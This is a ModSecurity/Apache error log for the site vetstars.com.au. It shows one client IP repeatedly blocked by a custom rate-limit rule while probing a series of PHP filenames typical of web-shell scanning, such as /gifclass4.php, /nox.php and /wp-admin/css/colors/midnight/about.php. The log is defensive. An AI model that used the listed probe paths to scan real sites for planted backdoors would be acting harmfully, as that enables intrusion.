[Sat Feb 28 11:40:09.078698 2026] [:error] [pid 39185:tid 39258] [client 20.104.82.189:6428] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaJjmRVE-FfM89u7BQZ87gAAAIw"]
[Sat Feb 28 11:40:09.499010 2026] [:error] [pid 11791:tid 11812] [client 20.104.82.189:6432] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaJjmWuX5e1Q32gqxH3uNAAAARM"]
[Sat Feb 28 11:40:09.915097 2026] [:error] [pid 11791:tid 11796] [client 20.104.82.189:6414] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaJjmWuX5e1Q32gqxH3uNQAAAQM"]
[Sat Feb 28 11:40:10.328445 2026] [:error] [pid 11791:tid 11808] [client 20.104.82.189:6480] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaJjmmuX5e1Q32gqxH3uNwAAAQ8"]
[Sat Feb 28 11:40:10.761929 2026] [:error] [pid 11791:tid 11795] [client 20.104.82.189:6260] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaJjmmuX5e1Q32gqxH3uOQAAAQI"]
[Sat Feb 28 11:40:11.182777 2026] [:error] [pid 52460:tid 52481] [client 20.104.82.189:6488] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaJjm7LWOogAgHGh62TgLAAAAZI"]
[Sat Feb 28 11:40:11.603671 2026] [:error] [pid 22194:tid 22214] [client 20.104.82.189:6478] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaJjm36mbajs3bzQGysnpAAAAVI"]
[Sat Feb 28 11:40:12.021508 2026] [:error] [pid 39185:tid 39248] [client 20.104.82.189:6287] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaJjnBVE-FfM89u7BQZ89QAAAII"]
[Sat Feb 28 11:40:12.444311 2026] [:error] [pid 22194:tid 22199] [client 20.104.82.189:6496] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaJjnH6mbajs3bzQGysnpwAAAUM"]
[Sat Feb 28 11:40:12.934151 2026] [:error] [pid 52460:tid 52473] [client 20.104.82.189:6439] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaJjnLLWOogAgHGh62TgPAAAAYo"]
[Sat Feb 28 11:40:13.438150 2026] [:error] [pid 39292:tid 39295] [client 20.104.82.189:6197] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaJjnaIAO5fN7BxyqcGzewAAAME"]
[Sat Feb 28 11:40:13.991617 2026] [:error] [pid 39292:tid 39298] [client 20.104.82.189:6440] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaJjnaIAO5fN7BxyqcGzfwAAAMQ"]
[Sat Feb 28 11:40:14.497920 2026] [:error] [pid 22194:tid 22196] [client 20.104.82.189:6564] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaJjnn6mbajs3bzQGysnrQAAAUA"]
[Sat Feb 28 11:40:15.229206 2026] [:error] [pid 39185:tid 39252] [client 20.104.82.189:6424] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaJjnxVE-FfM89u7BQZ89wAAAIY"]
[Sat Feb 28 11:40:16.463833 2026] [:error] [pid 39185:tid 39258] [client 20.104.82.189:6341] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaJjoBVE-FfM89u7BQZ8_QAAAIw"]
[Sat Feb 28 11:40:18.003610 2026] [:error] [pid 39292:tid 39296] [client 20.104.82.189:6479] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaJjoqIAO5fN7BxyqcGzhAAAAMI"]
[Sat Feb 28 11:40:18.624624 2026] [:error] [pid 39185:tid 39261] [client 20.104.82.189:6231] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaJjohVE-FfM89u7BQZ9CAAAAI8"]
[Sat Feb 28 11:40:19.037874 2026] [:error] [pid 39183:tid 39214] [client 20.104.82.189:6349] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaJjoxCf4HvhVePw3LbZ6gAAABY"]
[Sat Feb 28 11:40:19.452650 2026] [:error] [pid 39185:tid 39257] [client 20.104.82.189:6462] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaJjoxVE-FfM89u7BQZ9DwAAAIs"]
[Sat Feb 28 11:40:19.868806 2026] [:error] [pid 39185:tid 39269] [client 20.104.82.189:6347] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaJjoxVE-FfM89u7BQZ9EQAAAJc"]
[Sat Feb 28 11:40:20.285553 2026] [:error] [pid 39292:tid 39317] [client 20.104.82.189:6184] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaJjpKIAO5fN7BxyqcGzhwAAANc"]
[Sat Feb 28 11:40:20.705800 2026] [:error] [pid 52460:tid 52477] [client 20.104.82.189:6461] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaJjpLLWOogAgHGh62TgUwAAAY4"]
[Sat Feb 28 11:40:21.128923 2026] [:error] [pid 11791:tid 11809] [client 20.104.82.189:6476] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaJjpWuX5e1Q32gqxH3uSwAAARA"]
[Sat Feb 28 11:40:21.546791 2026] [:error] [pid 11791:tid 11815] [client 20.104.82.189:6509] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaJjpWuX5e1Q32gqxH3uTgAAARY"]
[Sat Feb 28 11:40:21.980789 2026] [:error] [pid 11791:tid 11804] [client 20.104.82.189:6486] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaJjpWuX5e1Q32gqxH3uUQAAAQs"]
[Sat Feb 28 11:40:22.395214 2026] [:error] [pid 39292:tid 39311] [client 20.104.82.189:6481] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaJjpqIAO5fN7BxyqcGziAAAANE"]
[Sat Feb 28 11:40:22.816595 2026] [:error] [pid 11791:tid 11810] [client 20.104.82.189:6445] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaJjpmuX5e1Q32gqxH3uVwAAARE"]
[Sat Feb 28 11:40:23.226346 2026] [:error] [pid 22194:tid 22210] [client 20.104.82.189:6429] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaJjp36mbajs3bzQGysnswAAAU4"]
[Sat Feb 28 11:40:23.640494 2026] [:error] [pid 22194:tid 22208] [client 20.104.82.189:6412] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaJjp36mbajs3bzQGysntgAAAUw"]
[Sat Feb 28 11:40:24.052365 2026] [:error] [pid 39183:tid 39207] [client 20.104.82.189:6541] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaJjqBCf4HvhVePw3LbZ7AAAAA8"]
[Sat Feb 28 11:40:24.461760 2026] [:error] [pid 52460:tid 52482] [client 20.104.82.189:6528] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaJjqLLWOogAgHGh62TgYAAAAZM"]
[Sat Feb 28 11:40:24.873201 2026] [:error] [pid 39183:tid 39209] [client 20.104.82.189:6452] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaJjqBCf4HvhVePw3LbZ8AAAABE"]
[Sat Feb 28 11:40:25.285959 2026] [:error] [pid 52460:tid 52477] [client 20.104.82.189:6612] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaJjqbLWOogAgHGh62TgZAAAAY4"]
[Sat Feb 28 11:40:25.699882 2026] [:error] [pid 11791:tid 11804] [client 20.104.82.189:6572] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaJjqWuX5e1Q32gqxH3uXAAAAQs"]
[Sat Feb 28 11:40:26.125623 2026] [:error] [pid 39184:tid 39227] [client 20.104.82.189:6497] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaJjqltZF9Zd_U7easDHgwAAAEg"]
[Sat Feb 28 11:40:26.541555 2026] [:error] [pid 39184:tid 39229] [client 20.104.82.189:6446] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaJjqltZF9Zd_U7easDHhAAAAEo"]
[Sat Feb 28 11:40:26.960460 2026] [:error] [pid 39292:tid 39295] [client 20.104.82.189:6337] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaJjqqIAO5fN7BxyqcGziQAAAME"]
[Sat Feb 28 11:40:27.373626 2026] [:error] [pid 52460:tid 52463] [client 20.104.82.189:6406] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaJjq7LWOogAgHGh62TgcgAAAYA"]
[Sat Feb 28 11:40:27.788450 2026] [:error] [pid 52460:tid 52476] [client 20.104.82.189:6498] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaJjq7LWOogAgHGh62TgdgAAAY0"]
[Sat Feb 28 11:40:28.201193 2026] [:error] [pid 52460:tid 52469] [client 20.104.82.189:6603] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaJjrLLWOogAgHGh62TgewAAAYY"]
[Sat Feb 28 11:40:28.611072 2026] [:error] [pid 52460:tid 52482] [client 20.104.82.189:6536] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaJjrLLWOogAgHGh62TgfgAAAZM"]
[Sat Feb 28 11:40:29.021846 2026] [:error] [pid 52460:tid 52466] [client 20.104.82.189:6475] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaJjrbLWOogAgHGh62TggAAAAYM"]
[Sat Feb 28 11:40:29.434222 2026] [:error] [pid 52460:tid 52474] [client 20.104.82.189:6515] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaJjrbLWOogAgHGh62TggwAAAYs"]
[Sat Feb 28 11:40:29.843553 2026] [:error] [pid 52460:tid 52463] [client 20.104.82.189:6463] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaJjrbLWOogAgHGh62TghwAAAYA"]
[Sat Feb 28 11:40:30.261988 2026] [:error] [pid 22194:tid 22219] [client 20.104.82.189:6367] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaJjrn6mbajs3bzQGysnuAAAAVc"]
[Sat Feb 28 11:40:30.681238 2026] [:error] [pid 39185:tid 39251] [client 20.104.82.189:6198] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaJjrhVE-FfM89u7BQZ9IgAAAIU"]
[Sat Feb 28 11:40:31.102810 2026] [:error] [pid 52460:tid 52477] [client 20.104.82.189:6397] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaJjr7LWOogAgHGh62TgjQAAAY4"]
[Sat Feb 28 11:40:31.523865 2026] [:error] [pid 39183:tid 39205] [client 20.104.82.189:6249] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaJjrxCf4HvhVePw3LbZ8gAAAA0"]
[Sat Feb 28 11:40:31.939493 2026] [:error] [pid 52460:tid 52485] [client 20.104.82.189:6473] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaJjr7LWOogAgHGh62TgkAAAAZY"]
[Sat Feb 28 11:40:32.356854 2026] [:error] [pid 52460:tid 52470] [client 20.104.82.189:6275] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaJjsLLWOogAgHGh62TgkwAAAYc"]
[Sat Feb 28 11:40:32.775043 2026] [:error] [pid 39292:tid 39315] [client 20.104.82.189:6434] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaJjsKIAO5fN7BxyqcGzigAAANU"]
[Sat Feb 28 11:40:33.193657 2026] [:error] [pid 52460:tid 52464] [client 20.104.82.189:6494] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaJjsbLWOogAgHGh62TglAAAAYE"]
[Sat Feb 28 11:40:33.616622 2026] [:error] [pid 39292:tid 39294] [client 20.104.82.189:6202] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaJjsaIAO5fN7BxyqcGzjgAAAMA"]
[Sat Feb 28 11:40:34.039686 2026] [:error] [pid 11791:tid 11816] [client 20.104.82.189:6507] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaJjsmuX5e1Q32gqxH3uYQAAARc"]
[Sat Feb 28 11:40:34.455022 2026] [:error] [pid 39183:tid 39201] [client 20.104.82.189:6500] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaJjshCf4HvhVePw3LbZ9AAAAAk"]
[Sat Feb 28 11:40:34.870547 2026] [:error] [pid 39185:tid 39254] [client 20.104.82.189:6227] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaJjshVE-FfM89u7BQZ9JAAAAIg"]
